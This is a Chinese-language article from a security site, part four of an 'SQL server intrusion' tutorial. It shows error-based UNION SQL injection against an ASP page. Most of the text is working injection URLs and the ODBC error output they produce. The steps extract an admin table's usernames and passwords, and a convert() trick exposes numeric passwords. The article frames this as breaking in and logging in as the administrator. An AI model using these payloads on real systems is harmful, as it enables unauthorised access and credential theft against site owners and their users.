为了顺应当前形势和更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

黑客SQL服务器入侵实战演习(四)

2004-9-29 20:05| 投稿: security

摘要: 6.2如何找到我们需要的数据?   现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。   现在让我们问问"admin_login"表的第一个用户名是什么吧: ...
6.2如何找到我们需要的数据?   现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。   现在让我们问问"admin_login"表的第一个用户名是什么吧:   http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--   输出:   Microsoft OLE DB Provider for ODBC Drivers error '80040e07'   [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ' neo' to a column of data type int.   /index.asp, line 5   知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧:   http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='   neo'--   输出:   Microsoft OLE DB Provider for ODBC Drivers error '80040e07'   [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '   m4trix' to a column of data type int.   /index.asp, line 5   现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。 6.3如何获得数字串值?   在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"的密码,而它所对应的密码为"31173":   http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='   trinity'--   这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于,在与整数(这个例子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UNION字句调用就是‘合法’的了,SQL服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些数字型数据的。   为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试   用下面的这条请求来代替原来的请求吧:   http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM   admin_login where login_name='trinity'--   在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中'+'等于0x2b)。我们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到了数字串'31173',它也会变成'31173 morpheus'。   在执行了convert()函数后,系统会尝试将'31173 morpheus'转换为整数型,SQL服务器一定会返回这样的ODBC错误信息:   Microsoft OLE DB Provider for ODBC Drivers error '80040e07'   [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '   31173 morpheus' to a column of data type int.   /index.asp, line 5   现在你可以知道'trinity'的密码是'31173'了吧。

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部